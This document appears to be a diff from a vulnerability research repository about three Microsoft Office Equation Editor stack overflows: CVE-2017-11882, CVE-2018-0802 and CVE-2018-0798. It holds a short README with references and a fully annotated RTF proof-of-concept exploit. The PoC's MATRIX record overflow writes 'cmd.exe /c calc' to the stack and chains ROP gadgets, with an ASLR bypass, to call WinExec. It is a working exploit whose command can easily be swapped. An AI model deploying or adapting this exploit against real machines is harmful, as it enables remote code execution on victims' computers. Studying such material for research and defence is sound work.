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Author: houjingyi233

CVE-2017-11882&CVE-2018-0802&CVE-2018-0798/25a473ec43acfe80182d3fd6cd9cf87ac362a18b78a554bf1dda8d9dc05bee08.bin.gz

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+Given the fact that CVE-2017-11882/CVE-2018-0802/CVE-2018-0798 are stackoverflow in EQNEDT32.EXE so I just put them together.
+
+CVE-2017-11882:stackoverflow during font name parse 
+
+CVE-2018-0802:stackoverflow during font name parse 
+
+CVE-2018-0798:stackoverflow during matrix record parse
+
+25a473ec43acfe80182d3fd6cd9cf87ac362a18b78a554bf1dda8d9dc05bee08[4] exploit both CVE-2017-11882 and CVE-2018-0802;
+
+**cve-2018-0802 poc with aslr-bypass.rtf and cve-2018-0802 poc with comments.rtf exploit CVE-2018-0798.The so-called CVE-2018-0802 in the checkpoint article is actually CVE-2018-0798.Due to Microsoft's mistake,CVE-2018-0798 submitted by checkpoint[6] was classified into CVE-2018-0802,which caused extensive discussions among analysts at home and abroad.** 
+
+Microsoft add ASLR and fix serveral strcpy in 2017.11's patch but clearly not enough.So they remove this component in 2018.1's patch.
+
+reference:
+
+CVE-2017-11882
+
+1.[CVE-2017-11882漏洞分析、利用及动态检测](https://www.anquanke.com/post/id/87311)
+
+2.[Proof-of-Concept exploits for CVE-2017-11882](https://github.com/embedi/CVE-2017-11882)
+
+3.[Did Microsoft Just Manually Patch Their Equation Editor Executable? Why Yes, Yes They Did.(CVE-2017-11882)](https://0patch.blogspot.ca/2017/11/did-microsoft-just-manually-patch-their.html)
+
+CVE-2018-0802
+
+4.["黑凤梨"(BlackTech)最新APT攻击活动分析](http://www.freebuf.com/column/159865.html)
+
+CVE-2018-0798
+
+5.[手把手教你复现office公式编辑器内的第三个漏洞](https://www.anquanke.com/post/id/94841)
+
+6.[Many Formulas,One Calc–Exploiting a New Office Equation Vulnerability](https://research.checkpoint.com/another-office-equation-rce-vulnerability)

CVE-2017-11882&CVE-2018-0802&CVE-2018-0798/README.md

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+{\rtf1
+    { Hello, calculator! }
+    {\object \objemb \objupdate \objw1 \objh1
+        {\*\objclass Equation.3}
+        {\*\objdata
+            01050000 {\*\comment OLE Version }
+            02000000 {\*\comment Format ID -> 0x02 = Embedded Object }
+            0b000000 {\*\comment ClassName.Length -> 0x0B = 11 }
+            4571756174696f6e2e3300 {\*\comment ClassName.String -> "Equation.3\x00" }
+            00000000 {\*\comment TopicName.Length -> 0x00 }
+            00000000 {\*\comment Item.Length -> 0x00 }
+            00140000 {\*\comment NativeData.Size -> 0x1400 = 5120 }
+
+            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+
+            {\*\comment MTEF Header }
+            1C00 {\*\comment MTEF Header Size -> 0x1C = 28 }
+            00000200
+            A8C4
+            3B040000
+
+            00000000
+            E0A06600
+            ECE76500
+            00000000
+
+            03 {\*\comment Version }
+            01 {\*\comment Generating Platform }
+            01 {\*\comment Generating Product }
+            03 {\*\comment Product Version }
+            0A {\*\comment Product Subversion }
+
+            0A {\*\comment TYPESIZE Record }
+            01
+
+            05 {\*\comment MATRIX Record }
+            01
+            01
+            01
+            1C {\*\comment size1 -> Copy 8 bytes to EBP-0x14 }
+            94 {\*\comment size2 -> Copy 38 bytes to EBP-0x0C }
+
+            636D642E {\*\comment EBP-0x14 -> "cmd." }
+            65786520 {\*\comment EBP-0x10 -> "exe " }
+            2F632063 {\*\comment EBP-0x0C -> "/c c" }
+            616C6300 {\*\comment EBP-0x08 -> "alc\x00" }
+            00000000 {\*\comment EBP-0x04 }
+            19000000 {\*\comment EBP-0x00: 0x19 = (0x32 / 2) }
+            3AC74400 {\*\comment Return Address -> Base + 0x0004C73A } {\*\asmcomment add esp, 4; retn; }
+
+            285B4500 {\*\comment Writable Address -> Base + 0x00055B28 }
+            B60E4100 {\*\comment Increase EAX -> Base + 0x00010EB6 } {\*\asmcomment add eax, ebp; retn 2; }
+            B60E4100 {\*\comment Increase EAX -> Base + 0x00010EB6 } {\*\asmcomment add eax, ebp; retn 2; }
+            0000
+            4BED4000 {\*\comment Push EAX and Call WinExec -> Base + 0x0000ED4B }
+
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+
+            {\*\comment End of the equation }
+
+            000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+
+            01050000 {\*\comment OLE Version }
+            05000000 {\*\comment Format ID -> 0x05 = Presentation Object with a ClassName }
+            0D000000 {\*\comment ClassName.Length -> 0x0D = 13 }
+            4D45544146494C455049435400734900 {\*\comment ClassName.String -> "METAFILEPICT\x00" }
+
+            {\*\comment Presentation Data }
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+        }
+    }
+}